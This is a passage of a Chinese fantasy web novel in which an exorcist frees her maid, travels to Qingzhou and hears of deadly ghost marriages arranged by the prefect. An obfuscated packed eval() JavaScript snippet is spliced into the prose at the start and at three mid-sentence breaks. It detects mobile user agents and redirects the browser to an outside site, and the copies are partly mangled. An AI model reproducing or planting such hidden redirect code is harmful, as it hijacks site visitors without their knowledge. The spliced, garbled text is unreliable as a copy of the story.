l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591614|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与恶鬼打交道的旁门左道,他们做的最多的事就是杀人夺宝,或者祭魂索命。 而这张是凶符中的白骨符,是为了镇压尸身,让其永生永世的魂魄都被困于体内,不入轮回,不进因果。 直到三魂六魄彻底被符咒磨成粉末,才会结束痛苦,魂飞魄散。 沈自清捏碎手里的符咒:“一个无依无靠的孤女,倒是看的起她。” 不用猜都知道这东西是谁的,不是梅姨娘就是老太婆,再不济就是抛弃妻女的裴敬,这世上只有裴家人才会这么恨她。 恨到想让她魂飞魄散,永世不得超生。 微风轻轻蹭着她的指尖,沈自清明白这是裴年在劝慰她,就是明白才哭笑不得。 傻丫头就是傻丫头,那群人就差把你们母女俩抽筋扒皮了,你还有功夫让我宽慰? 但一想到裴年的岁数,她又释然了,算了算了,不过一个十几岁的小孩子,能懂什么? 沈自清道:“好了好了,我现在要下去把你母亲带上来,你是要跟我一起下去,还是留在上面?” 清风蹭了蹭第一根手指头。 “那就走吧。” 沈自清单手扶住井边,整个身体犹如一条灵活的鱼跳了进去,单手吊在井边,指腹摩擦,正准备用灵力,想了想又否定这个方案。 凶符一直把她的魂魄困在体内,她的灵力恐怕会直接把她催化成活尸。 不可不可。 她又从怀里掏出一个火折子,这还是出发前露种强硬塞给她的,没想到还真有用武之地,扒开帽子一吹,一缕摇曳的火苗蹿的照亮整个枯井。 枯井最下面,一具早已化为白骨的尸身歪歪扭扭地倒在一侧,身上的衣服早已暗淡破损,她静静地躺在那里,两只黝黑的眼眶直直的望着井口,似乎也在望着沈自清。 没由来的,沈自清的心脏泛起细细密密地酸麻。 她眼睫垂下,脚尖轻巧的点在井壁上,来回几下,轻巧落地。 “得罪了。”她说,“受人之托,来送你们母女入轮回的。” 抱起尸骨的瞬间,叮的一声,似乎有什么东西掉在了地上,沈自清低头一看,竟是枚模样精巧的朱砂铃铛。 她看了眼铃铛,又看了眼怀里的尸骨,还是决定拿起来,脚尖一勾,铃铛稳稳当当落在掌心。 脚尖一蹬,在石壁上旋身点了两下就出了枯井。将尸骨收敛好放在地上,又低头看了眼指尖上裹挟的清风,轻声道:“去吧,晚了就不好了。” 清风很是不舍,但还是乖乖地回到了娘亲的怀抱。 “魂魂化灭,轮果因寻,奈何桥畔,不灭往生。” “开。” * 露种醒来时天光已然大亮,做了一整夜噩梦的滋味属实说不上好受,正想揉揉眼睛,忽然想起昏迷前发生的一切,猛地坐起身。 她记得那个模样妖冶的男人抛弃她们跑了,然后梅姨娘死了,再然后呢?再然后发生了什么? “醒了?” 熟悉的声音将露种跑远的思绪拔回来,她猛地抬头,只见沈自清正站在窗边,指尖正拨弄着什么东西,侧着身子对她,头也不回道。 露种小嘴一瘪,两泡眼泪还没流出来,就听到自家小姐冷酷的声音。 “醒了就去吃饭。”沈自清道。 嘤。 悲伤还未长大,就胎死腹中了。 坐到餐桌边的时候,露种还迷迷糊糊的,揉着脖子直接坐下来了,一抬头就看到对面已经拿起筷子吃饭的沈自清,忽然意识到什么,脸色唰得一遍,猛地从凳子上弹跳起来。 “对不起对不起,我、我一时间睡迷糊了,我不是故意坐下的,对不起小姐!”露种扭着衣摆,几乎要哭出来。 呜呜呜她怎么会犯这种低级错误啊呜呜呜,小姐对她好是小姐本身就好,可她不能端不清楚自己的位置啊,小姐是主子,她是奴才,她哪有资格跟小姐坐一起吃饭啊。 露种又自责又害怕,生怕小姐不要她了。 “没事。” “小姐你别不要我......哎?”露种表情一滞,耳朵好像出问题了,要不然过段时间去看看郎中吧。 “我说没事。”沈自清又往自己嘴里放了口吃的,眼皮都没掀一下,“从此以后我不再是小姐,你也不再是奴婢。” 她从怀里掏出一张纸放在桌子上,看清的瞬间露种的鼻子瞬间一酸。 这是露种的卖身契。 她认得的。 “露种,你自由了。” 她这样说。 7. 裴府疑云7 露种捏着卖身契,脑子还晃晃悠悠的,双脚像是踩在棉花堆里一样,非常的不真实感。 她愣愣的指着自己:“我自由了?我不是奴隶了?我、我现在是良籍了?不是奴籍了?” 沈自清淡定点头,又挑了口鱼肚子上的肉塞进嘴里,还没尝出个咸淡,一个人形炮弹就俯冲进自己的怀里,兴奋激动的声音在耳畔炸响! “啊啊啊啊啊啊啊啊啊啊我自由了!我自由了!” 沈自清没跟活人这么亲密接触过,猛地被人冲进怀里抱着,下意识就想将人推开,手摁在肩膀上时却顿住了。 怀里的少女兴奋地脸蛋微红,一手扬着那张薄如蝉翼的卖身契,一手抱着沈自清,如果不是两只手都被占着,想必如今已经跟只窜天猴差不多了。 仔细想想,无论是她亲眼见到的,还是生活在裴年记忆力的露种都是一副强装稳重的样子,即使再害怕也会第一时间冲在裴年前面,这还是第一次见到她真正褪去外壳,露出属于这个年纪的鲜活和天真。 抵住人肩膀的手微微松开。 算了,还是个小孩呢。 “对了小姐,昨天晚上我们昏迷以后都发生了什么啊?这里是哪?我们又是怎么出来的?”激动过后,露种这才想起正事,眼珠子一转想到什么,不怀好意地搓了搓手,试探着问道:“还有老夫人那群人,还活着吗?” 一副眉飞色舞的样子,很明显不想让人活,沈自清的回答也没辜负对方的期待。 “你昏迷不久后我也昏迷了,醒来的时候鬼婴已经消失不见,趁着天还没亮,我就带着你和你的卖身契离开了裴府。” “至于他们,”沈自清的声音平静又冷漠:“死无全尸。” 露种听得下巴都要掉地上了。 额滴个老天,全死了!这鬼婴还真是......好鬼啊。 “那我们现在准备去哪?” “青莲县,我娘的老家。” 这是裴年临走时唯一的心愿,偷偷凑到她耳边说的。她希望自己的母亲死后可以回到她一生期盼,却一生回不去的地方。 沈自清答应了。 “青莲县,青州的青莲县?!”露种的语调忽然高昂了好几个度,不可思议地瞪大眼睛,指着自己的手都在颤抖:“我、我妹妹,我妹妹也在那!” 沈自清回想了下记忆里露种说过的话,狐疑道:“你不是说你老家在寿阳吗?怎么又跑到青莲县去了?” 露种不在意地挥了挥手,“嗐,我那死鬼老爹把我卖了后不久发了笔横财,寿阳又天高皇帝远,所幸就带着妹妹来了青莲县,毕竟是距离长安最近的州府,无论从哪个方面来看都是要比寿阳好的。” 也对。沈自清若有所思地点点头。 对于手无缚鸡之力的凡人来说,长安这种天子脚下的城池自是最安全不过的,离长安越近也就越安全,所以长安连带着周边房价越长越高,哪怕是最偏僻的坊都要大几百贯。 这么一看,青州恐怕是最好的选择了。 而作为一名天师,沈自清也赞同这个想法。 镇妖司有她当年设下的灵碑,妖魔鬼怪离长安越近,妖力被压制的也就越厉害,所以青州无论从哪个方面来讲都是比较安全的地界了。 露种自是不知道沈自清想的这些,开心地转圈圈,但可能是乐极生悲,转圈的时候脚没跟上身子,整个人瞬间从两只脚的兔子变成了一只脚的单脚兔! 这一扭倒是让她瞬间想起被自己遗忘的事情,懊恼地拍了下自己的脑壳,反客为主握住沈自清的手腕,迎着她疑惑的眼神说道:“我说我好像忘了什么事情,小姐!我昨晚梦到夫人了?” 说起这事露种业觉得奇怪,语气上也带了些不确定:“夫人说她马上就要走了,临走前想着给小姐留个东西全当个念想,说东西就在......就在......在哪来着?” 她一拍手:“对了!就寄存在柜坊,夫人说不用信物,直接报小姐你的名字就行。” 沈自清挑眉,便宜娘给她留了纪念? 会是什么? 是支玉笛。 二尺三寸,通体白玉,笛身被揉搓把玩的十分光滑,偶有流光滑过。 它静静地躺在雕花漆盒里,没有任何多余的配饰,像是最标志的美人褪去所有华丽外壳,露出里面的、天然去雕饰的美意。 露种惊艳地哇了一声。 沈自清伸手拿起玉笛,触手温凉滑腻,应该是用最好的羊脂白玉做的,而且是一整块余料雕琢出的。指尖寸寸扫过笛身的每一处,滑到最末端的时候好像碰到了什么凸起的地方,是与其他地方完全不同的粗糙。 翻过来一看,是已经被人摩擦到看不清模样的两个字。 但从笔画来看,沈自清也能猜到是哪两个字。不过,既然主人都已经不在意了,她一个外人更是没资格说些什么。 这份好意,她收下了。 指尖一转,玉笛划了个漂亮的圈。 “走了露种。” “哎?哎!” * 青州不算远,但也说不上近,如果用两只脚去,那也绝对算得上是天涯海角。 两人租了两匹马来拉车,毕竟这年头土匪流寇也不在少数,沈自清倒是不怕,但露种一个没接触过什么东西的小孩,总不能当着人面直接开杀,至少也要做点表面功夫吧。 也是在这段日子,沈自清才有时间了解自己死得这十三年里都有什么新奇变化和新鲜事物。 然后发现,好像确实没多大的变化...... 才怪。 沈自清津津有味看着手里第二十七本话本子,两只眼睛连带着左胸膛跳动的心脏全都是跌宕起伏、刺激味蕾的故事情节,每天除了吃饭睡觉就是窝在马车里看话本子,就连露种都忍不住担心起她身子能不能吃得消。 沈自清表示自己的身体前所未有的好! 不是她说假话,十三年前的话本子还真没现在的刺激,尤其是她手里这本,无论从遣词造句还是情节流畅,在她看得这些本都是当之无愧的一流,除了反派叫沈自清。 说来也是奇怪,现在市面上最流行的话本子基本都是以她为反派的,无非是什么坚定勇敢的男女主经过不懈努力的奋斗终于打扮沈自清这个大反派,然后结发为夫妻,恩爱两不疑,多年以后再生两个胖娃娃回顾下自己当年的英勇事迹。 其实这本也是一样的套路,除了文笔情节更为上乘之外,最吸引沈自清的就是足够真实。 是的,真实。 真实到她都怀疑是不是当年的亲历者写的,故事讲得是早年一世家大族被沈自清暗算抄家,全族男的抄斩女的流放,年纪尚小的则被充入教坊司,女主崔静姝就是其中之一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591615|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危急时刻女主母亲一招狸猫换太子,将女主换了出去,化名陈静。 女主蛰伏数年,后意外入符华山修炼十年,期间与师兄产生了些不足为外人道也的情愫,可惜女主身负家仇,自知无法回应这段感情,遂一刀斩断青丝,下山开始了复仇大计。 可反派的强大还是超乎她的预料,无数次足以丧命的危难都因一神秘男子搭救才侥幸活下来,一次偶然下,她才知道是师兄放心不下她跟着一同下了山,也是这时候,她得知师兄的另一个身份。 ——本朝四皇子,寿王李秦。 有了师兄这个皇亲贵胄的帮助,复仇简单了许多,最终成功在皇帝面前揭露反派的真实面目,皇帝震怒,下令处决了反派。 报仇雪恨后,女主换回自己原本的名字,与男主成婚,两人婚后蜜里调油,不久便生下一子,名唤李湛。 很优秀的故事,如果当今寿王妃不叫崔静姝,寿王不叫李秦的话,就更好了。 而当年崔静姝确实化名陈静,也确实入符华山学艺十年,更是入了镇妖司一路做到鹤使之首,是当年绊倒沈自清嘴重要的一股力量。 哇塞。 沈自清读完最后一个字,只觉得不可思议。据她所知,天底下没有人比李家那群人更加小心眼了,所以这十三年来究竟发生了什么?竟然让他们脑子抽大风到允许这种话本子流通市面,还是畅销级?! 算了算了。 沈自清握着话本子朝后一丢,又兴冲冲挑了本新的看。李家人大度不大度关她屁事?她现在是个来去自如的人,又不是当年那个苦哈哈给李家人打工的苦命仔。 管他呢! 看书看书!继续看书! 露种撩开帘子进来时,看到的就是沈自清歪歪扭扭坐在角落里,手边捧着卷新书看得正入神,脚边、手边摞着两摞高高的书堆,脚边是看过的,手边是没看过的。 “......” 露种诡异地沉默了一瞬,直到手中提着的食盒不小心磕碰到车厢,这才想起自己是来干嘛的,弯腰进去,手里的食盒朝人脚边一落,硬邦邦道:“该吃饭了,小姐。” 要不说手里有底气腰杆子都跟着直起来,自从露种拿到卖身契就一整个翻身农奴把歌唱,对沈自清的态度也从一只软萌兔子向镇山母老虎的方向一去不复返了。 沈自清脸上的书本往下移了移,露出一双眼睛,此刻对着露种好脾气地弯了弯:“看完这章就吃。” 露种强势拒绝:“不行,现在就吃。” 沈自清眨巴了下眼睛,屈从在淫威之下。 日子就在沈自清沉迷话本不知天地为何物,以及露种每天老妈子附体唠唠叨叨下过得飞快,第不知道多少天,一只咕噜咕噜的车轮终于停下,露种兴奋激动的声音透过帘子一丝不差传入沈自清的耳朵。 “小姐,青州到了!” 沈自清终于舍得从书堆里出来,扯了下有些褶皱的衣摆,单手撩开帘子,不远处,一座高大巍峨的城墙映入眼中。 城楼下足有两人高的厚重铜皮木门大开着,来往的人群不泛有提着扁担或推着小车的商贩,也有带着家眷一起出行的马车,但最多的是背着包袱,行色匆匆的平民。 一切的一切,格外的美好。 沈自清的眼睛却微微眯起。 世上万物,过于美好,就会显得虚假。 8. 金童玉女1 沈自清眼底快速划过一抹暗红,下一秒,眼前的世界蒙上了一层诡异的红色,与话本子出现的幽冥地府别无二致。 这是天师探寻妖鬼的手段之一 ——灵视。 与人族不同,妖魔这类借天地灵气化形的生物,为了避免被天师直接杀掉,在人间界使用的基本是化身,而他们的真身则隐藏在第三重境。 一个完全复刻人间界,却又完全颠倒的世界。 活人进不了第三重境,灵视是唯一可以看到第三重境的手段,除了可以看到妖气魔气这种东西,还能看到游荡在人间,靠肉眼完全捕捉不到的鬼魂。 可青州城,没有妖魔,也没有鬼气。 干干净净,什么都没有。 事出反常必有妖,先走为妙!沈自清转头刚想说什么,就看到露种正直勾勾盯着不远处某个地方,不等她反应,整个人就要跳下马车冲过去! 她刚要伸手摁住对方,露种的声音却让她的手僵在半空。 “小妹!” 露种一边跑着,一边晃着手臂,笑容灿烂的像是地里刚被浇完水的白菜叶,瞬间支棱起来。 与此同时,人群里一个费力拉着木车的少女闻声抬头,露出一张与露种几乎别无二致的脸,两人的五官几乎是一个模子刻出来的,面对面站一起时宛如临水自照,唯一的区别就是妹妹的下巴更尖,身板更为消瘦。 “......阿姊?” 妹妹的表情一片空白,整个人僵在原地,没有久别重逢的喜悦,直到露种拉起她的手时,忽地惊醒,在她不可思议的眼神下,说出了久别重逢后的第一句话,“你怎么会出现在这儿?谁让你来的?” 少女的模样实在过于惊悚,明明比露种要小,整个人却仿佛行将就木,面无表情,死寂空洞的眼珠直勾勾盯着露种,像是纸扎店里的金童玉女。 露种小心问道:“怎么了青青?见到姐姐不开心吗?” 她掏出一沓厚厚的信纸,徐徐展开,信很多,上面的字迹也从一开始的不连贯到后面的独成一体,是这些年青青寄给她的信,每一张都被她细心收好,怕受潮,所以时刻放进怀里,贴着胸口,也贴着她的心。 仿佛这样,她就还和妹妹在一起。娘没死,她们姐妹也没有分离。 露种献宝一样将这些信纸摊开,“姐姐现在自由了,可以和你继续在一起了。”她抬起手,想像小时候一样摸摸对方的额头,“到时候青青出嫁,我给青青攒嫁妆梳辫子好不好?” 啪! 青青毫不客气拍掉她伸过来的手,“少假好心了,当年娘刚死没多久,你就迫不及待跑了,还骗我说是被爹卖掉的,呸!谁家正经丫头穿着这副模样招摇过市?这么多年自己吃香的喝辣的,逢年过节也没想着接济我们,现在被主家赶出来,倒要演姊妹情深了?没门!” 余光瞥到那一沓子书信,心中恼怒更甚,伸手一把夺过来过来,冷笑着晃了晃:“谁要看你这些穷酸儒字?不就是炫耀你的命比我好吗?好啊,我让你炫耀,让你炫耀!” 她疯狂撕着手里的信纸,在露种呆滞的目光下大力甩到她的脸上,碎片随风飘扬,她站在下面,只觉得全身的血液都在倒流。 “现在满意了吧!”青青的笑容冷漠疯狂,蓦然,所有的情绪又如潮水般褪去,又回到了刚刚面无表情的模样。 她指着远处,“满意了就滚,我冯青青这辈子下辈子此生此世永生永世都不愿再见到你,滚!” 撂下这句话,她利落地将麻绳栓到自己身上,拉着木车,头也不回地进了城。 这一切为发生的太快,不止露种呆住了,就连不远处躲在马车里看热闹的沈自清也呆住了。 这是什么话本子吗? 妹妹,你就差把“不要进城,我是为了你好”几个字写在脸上了吧,为此不惜亲自上阵演了一出“断绝亲情”的戏码。 这么烂俗的剧情,真的会有人信吗? 来自某个已经将话本子剧情如数家珍、倒背如流的专业人士的专业吐槽。 别说,还真有。 “呜呜哇哇——妹妹她不要我了啊啊啊啊啊啊——妹妹她要和我断绝关系啊啊啊啊啊啊啊啊啊——” 马车里,露种毫无形象的鸭子坐在地上嚎啕大哭,手帕干的速度完全比不上她哭得速度,硕大的鼻涕泡滚出来,再一擦一擤,最后熟练地丢到一边,再拿出一抹新的继续哭。 如果沈自清是现代人,她绝对要感叹一句*芙广告语的前卫,这已经不是纵享丝滑了,这是天庭漏水了! 可惜沈自清不是,所以她只觉得头痛。 不开玩笑,露种每嚎一次,她额角的神经就跟着一抖,手里的话本子一个字儿都看不进去,脑子里只有龙王发大水的概念图。 苍天,谁来救救她吧! 眼见露种小嘴一瘪,眼眶又红,不等沈自清脑子反应,肌肉记忆已经带着她的嘴动了起来:“别哭了,你妹妹是故意跟你说那些话的。” 闻言,露种哭得更大声了。 “停。”沈自清道:“收回去。” 多年来做小伏低的奴才身份已经是深入骨髓,打断骨头连着筋,即使如今已经脱离奴籍,这些习惯也如跗骨之蛆跟着她,比如现在,明明不想收回去,但身体的反应已经下意识将泪水咽回了肚子里。 沈自清满意了。 耳朵清净了,手里的话本子再次回到它该去的位置,车厢内又陷入一阵寂静,只有粗粝的纸张摩擦而过的声音,以及某人因为哭得太狠,喉咙呼吸不断抽噎的声音。 “......小姐。”良久,露种的声音闷闷的,带着鼻音和微微抽噎声:“我不明白,青青为什么要那么说,她明明知道的,明明知道我为什么会离家的,那个什么样她比谁都清楚,当年如果不是夫人,她也会被那个男人卖掉的。” 露种又不解又委屈,说出来的话也不由自主带了两分控诉:“她凭什么那么说我?凭什么啊!难道这些日子我就过得很好吗?什么吃香的喝辣的,我跟她一样是朝不保夕啊,凭什么啊,凭什么要这么对我啊?” 她捂着脸,任凭眼泪再次汹涌而出,这一次比之前更加痛苦,已经沙哑的嗓子并不支持嚎啕大哭,只有破碎的音节从里面溢出,呜咽着,痛苦着,委屈着,像是一只无家可归的小兽。 这一次沈自清没有拦着她,于是一个跪在地上呜咽着流泪,一个窝在角落里目不转睛地看着话本子。 不知过了多久,露种的声音渐渐低了下去,似是苦累了,又似是不想再哭了,就在这时,沈自清忽然道:“你听过比干剖心的故事吗?” 露种吸了吸鼻子,心想小姐好端端说这个做什么?难不成是要说她那个下地狱的死爹跟里面的苏妲己一样蛊惑了青青? 沈自清却说:“比干剖心之后未死,血不流出,面似淡金,骑马出朝歌的路上,碰到一个卖空心菜的妇人。” “比干问‘为何卖的是空心菜?’,那妇人答‘民妇卖的是无心菜。’比干又问‘人若无心,如何?’,妇人又答‘人若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591616|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无心,必死。’听完,比干当即血溅坠马而亡。” 什么意思? 露种有点云里雾里,沈自清又道:“有传言说,比干遇到的那个妇人正是假扮后的苏妲己,之所以说这些话就是要让比干死在朝歌。” 这么一说,露种拨开云雾,瞬间懂了她的意思,兴奋道:“小姐的意思是青青之所以说那些话,就是为了让我离开前青州?但是她又不好直说,只能用这种办法逼我离开?” 沈自清没说是或不是,书本下移,只露出一双眼睛,好整以暇地看着露种。 露种被这么看着也知道了答案,但也更加愤怒:“可恶!多半是那个活老鬼做的好事!我现在就去找他算账!!!” 说罢,撩开帘子就要跳下去,身后的声音叫住了她。 “等一下。” 露种回头,沈自清将一个折的整整齐齐的三角复制放在她的掌心:“贴身放着,防身的。” 她暂时还没弄清楚青州状况,为了避免露种死在她不知道的地方,保险起见,还是给张护身符吧。 露种也没多想,顺手就塞进衣襟里。为了方便,两人穿的都是胡服,衣襟里的东西不太轻易掉出来,但为防止意外,她还是特意往里塞了塞。 “放心吧小姐,我今晚一定要把那个活老鬼打成猪头!” 她比划了下并不存在的肌肉,表情凶狠,察觉到沈自清的视线,又秒变成小白兔,笑嘻嘻道:“等青州的事情都解决了,我们就一起去洛阳看牡丹去!” 沈自清:“......” 她想了下洛阳现在都有谁在,不想不知道,一想吓一跳,跟她有仇的一大半都在洛阳城。 大可不必大可不必。 看着露种逐渐消失在人流的身影,沈自清收回视线,赶着马车进了城,将东西都安顿好,沈自清随机挑选了家装横看着还算不错的客栈。 天大地大,吃饱最大。 她目不斜视朝小二扔了块银子:“一间上房,顺便给我上一些你们这的好菜。” 年轻小二得了银子,先是咬了一口,随即就笑没了眼睛,嗓音亮堂喊道:“得嘞!客官,里面请!” 一楼大堂内坐着的人还不少,有男有女有老有少,不说穿金戴银,但看着也算小有资产。沈自清满意地点点头,出门在外,钱多事就少,图个清净也是好的。 挑了个位置坐下,茶还没喝上一口,坐在她后面那桌的几个夫人眼珠子忽然动了动,确定周围没有官服的人后,才压低声音说道: “听说了吗?昨儿知州府那个刚娶过门的新娘子,死了!” 刹那间,大堂静了下来。 在场众人吃饭的吃饭,喝水的喝水,唠嗑的唠嗑,全都在这一刻不约而同停下手里的动作,齐刷刷支起耳朵。 离得最近的事两个书生模样的年轻人,听到这话瞬间四目相对,眼睛里闪烁的不是害怕,是被点燃的,名为“八卦”和“好奇”的火苗。 那几个妇人像是没察觉到氛围一样,自顾自道:“还是死在婚床上,听说发现的时候,身子都硬了,眼睛却还瞪得溜圆,丫鬟当场就疯了。” 身边一妇人疑道:“怎么是丫鬟发现的?新郎官呢?” 夫人嗐了一声,神神秘秘道:“你在这青州城里的日子也不短了,这你都不知道?” 那人道:“知道什么?” 这次不等妇人说,旁边的人率先兜不住事儿:“新郎官是知州府家的小公子,生下来就是个病痨鬼,年前就死了!” 9. 金童玉女2 “死了?!” 坐得最近的那两名书生忍不住惊呼出生,又是对视一眼,这才看见对方的脸都是一样的惨白,其中一人咽了下唾沫,颤抖道:“新、新郎官怎么可能是死人啊?” 那妇人听闻,不禁翻了个白眼:“死人怎么了?死人不会孤单吗?娶个媳妇有什么好奇怪的?” 书生只觉毛骨悚然。 这对吗?他要是没记错,早在十年前,也就是武皇上位后的第三年大周修改过一次律法,凡结阴亲者,杖七十七,加役流,婚约无效,尸骨分离。 明明是被明令禁止的存在,怎么到这群人嘴里,就变得理所当然、稀松平常? 那妇人自是不清楚书生的想法,看他这样还以为是被这事儿吓的,安慰道:“听你这口音,倒不像是我们这的人,多半是从外地来京赶考的吧?你不知道,配阴婚这事从老祖宗那辈就开始了,算是我们青州的习俗,就连官府都管不到我们头上。” 她忽地一笑,“不说青州,光是这青莲县老老少少加在一块都不知道几百人了。” 身旁众人帮腔道:“就是就是!” “民不举官不究,只要咱们不说,官府也就是个睁眼瞎!” “什么睁眼瞎?那官老爷都带头干更别说咱们这些平头老百姓了。” 这话一出,引得众人更是同意,是啊,当地的父母官都不忌讳,他们有什么可忌讳的?天塌下来还有高个子顶着呢。 “客官,你的菜齐了!” 小二将最后一道菜端上桌,刚要退出去时,就听这位年轻的客人问道:“我刚从长安过来,刚那妇人说的阴婚究竟是个怎么回事?” 年轻小二苦哈哈一笑:“客官,您这......” 拒绝的话还没说完,沈自清就从荷包里掏出一块金子,没错,金子。 小二的眼睛瞬间一亮,生怕她反悔赶忙拿起来,咬一口,软的! 沈自清问道:“现在可以说了吧。” 小二忙点头:“能说能说!” 他先是扫了眼周围,确保那些人的注意力还在讨论上,没人注意到这里,才俯下身压低嗓子道:“客官,您有所不知,这阴婚啊却是是青州城的旧习,官服那是屡禁不止,先皇在的时候还好些,可自从十年前那场水灾以后就又变了。” “十年前黄河改道,淹死了不知道多少庄子,青莲县也因为这事儿遭了大难,还好离长安近,赈灾粮下来的也算及时,后面朝廷又派了无数人重建青州,这才渐渐好起来。” “可青莲县还是死了这么多人,大家想着死了也就死了,何不结个阴婚,下去的时候也能有个伴,不孤单不是?这个旧俗就又开始了,官府也是睁一只眼闭一只眼,所幸大家心里都有数,那阵风过去,心思也就歇下来了,直到三年前,知府家里的小公子病危,这才又开始了。” 知府家的小公子? 沈自清回想起妇人刚才说的那些话,是那个天生痨病,早在一年前就死了的那个小公子? 这么想着,她也就直接问了出来。 小二用力点头:“对,就是他!” “听说三年前他忽然病重,知府叫了许多郎中去看也没见什么起色,最后只好死马当活马医进来冲喜,没成想还真有作用,那小公子的病还真的一日比一轻,可惜,嫁过去的新娘子最迟三月,最早不过两三天,无一不是横死。” 沈自清道:“冲喜?借命就借命,说得这么委婉做什么?” “嘘!”小二皱着脸连忙打断沈自清的话:“客官你不要命了?!” 意思很明确,这里是青州,当着所有人面说青州的老大,你不要命我还想要命。 沈自清被他打岔也没生气,挑了下眉,继续问道:“那后来呢?后来又是怎么回事?” 小二没好气翻了个白眼,但一想到对方是个手段阔绰的大财主,只好压下心中的不满,继续说道,这一次语气带了点不被本人察觉到的怨气。 “后来?后来自是这阴婚的风又刮了起来,知府也管不了那么多,中了邪一样不间断地冲喜,可惜,一年前那小齐公子还是没了,我们都以为对方会绝了那份心,谁成想,他又开始琢磨起用活人配阴魂的阴邪法子,每个三月一成婚,最迟三天,新娘就会被人发现暴毙。” 说到这,小二也不免有些兔死狐悲的感慨:“无一不是死状凄惨,可悲可叹。” 沈自清没说话,默默端起桌子上的茶杯,举到与视野平齐的地方,开始端详起了杯身上的粗糙花纹,小二以为对方没有问题,正准备离开,却听到她忽然问道: “你们认为结活死人的阴婚是阴邪法子?” 小二一愣,心想这是什么狗屁问题?逼着一好好的姑娘去死还不是阴邪法子?下十八层地狱都不为过。 他这么想的,也这么说的。 下一秒,在他眼里瘦弱的有些过分的姑娘慢腾腾地移开视线,转向自己身上,也是在这时候,小二才发现这姑娘的眼睛真是特别,漆黑寂静,像是一汪幽深的古井,又带着两分不属于活人身上的死气。 如果放在一个老人身上倒不会如此显眼,但放在她这个个十五六岁的姑娘上,却是说不出的怪异。 怪异到,引人注目。 然后,她说出了一句足以让他勃然大怒的话。 “你们结死人阴婚的时候也没少害人啊。” 陡然被人戳中心底最不想承认的事情,小二脸涨得通红,磕磕巴巴道:“你这小姑娘看着好好的,怎竟说些瞎话烂话?我、我们做这种事情是有分寸的,怎么可能做得出你说得那种事?!” 沈自清没反驳也没同意,淡淡哦了一声,拿起筷子,慢腾腾夹了块鱼肉放进嘴里,点点头:“好吃。” 小二拳头硬了。 有种一拳头打进棉花的无力感,气得他扭头就走。 转身的瞬间,他完美错过沈自清嘴角慢悠悠露出来的讽刺笑意。 有分寸? 据她所知,阴婚之所以会受历朝历代打击,很大的一个原因就是阴婚需要相合的八字,可死人又不照着八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591617|205490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字来死,比起巧合,人们更喜欢制造巧合。 比如,逼死一个符合八字的活人。 等沈自清吃完饭,乌泱泱的大堂早就没剩几个人了,她也不在意,擦干净嘴和手,确保没有沾上任何油渍汤渍,才起身回了房间。 来收拾的小二见到被扫荡的一干二净的满桌空盘,惊讶的下巴都要掉了。 老天奶,这小丫头看着弱不禁风,感情是头饕餮转世啊! 啧啧啧,人不可貌相,人不可貌相啊。 * 差不多快晚上的时候,沈自清终于舍得从房间出来,还没下楼,老远就瞧见两个伙计站在大门口的位置,一个站在梯子上手里正拿着什么东西往上放,一个站在下面,仰着头,手里拿着一缕一模一样的东西。 看起来圆滚滚、红艳艳的,一个个足有指甲盖大小,被人为的串在一起,远远看去,竟像是一串灯笼。 “这是什么?” 下面的伙计随口答道:“是相思豆啦。” “相思豆?” “对啊,这是我们青州的习俗,你这个长安来的当然——怎么是你!” 伙计猛地回头,只见沈自清正仰着头,颇为好奇的看着那串东西,察觉他看过来,不慌不忙对上他的视线,“怎么?你很失望?” 对方显然还记得白天的不愉快,愤愤瞪了她一眼,刚要说些什么,上面的伙计正好挂完手里的那串,对他喊道:“把那串给我。” “哦。” 将手里仅剩的那串相思豆递出去,伙计默念一句“眼不见心不烦”,转头就要走,右脚还没迈出去就被沈自清叫住:“你还没回答我相思豆是什么呢。” “相思相思,自然是用来思念重要的人了。” 他翻了个白眼:“这是我们青州的习俗,传说将风干的相思豆串在一起,挂在房门前,就能将自己的思念之情寄给自己重要的人,同时也能保护他们平平安安,无病无灾。” 沈自清盯着那一颗颗圆润饱满的红豆:“这看起来可不像是风干的。” 显然,这句话又戳中了这小二的肺管子。 “你懂什么?这相思豆之所以能这样,当然是用了我们特有的法子。” 似是想到什么,他狐疑地扫了两眼沈自清:“瞧你这不懂那不懂的样,着实不像是从长安来的。说,你是不是敌国来的探子?” 不等沈自清说话他又自我怀疑:“可看你这小胳膊小腿的样,也不太像话本子里说的探子啊,他们要是派你过来才是真疯了吧。” 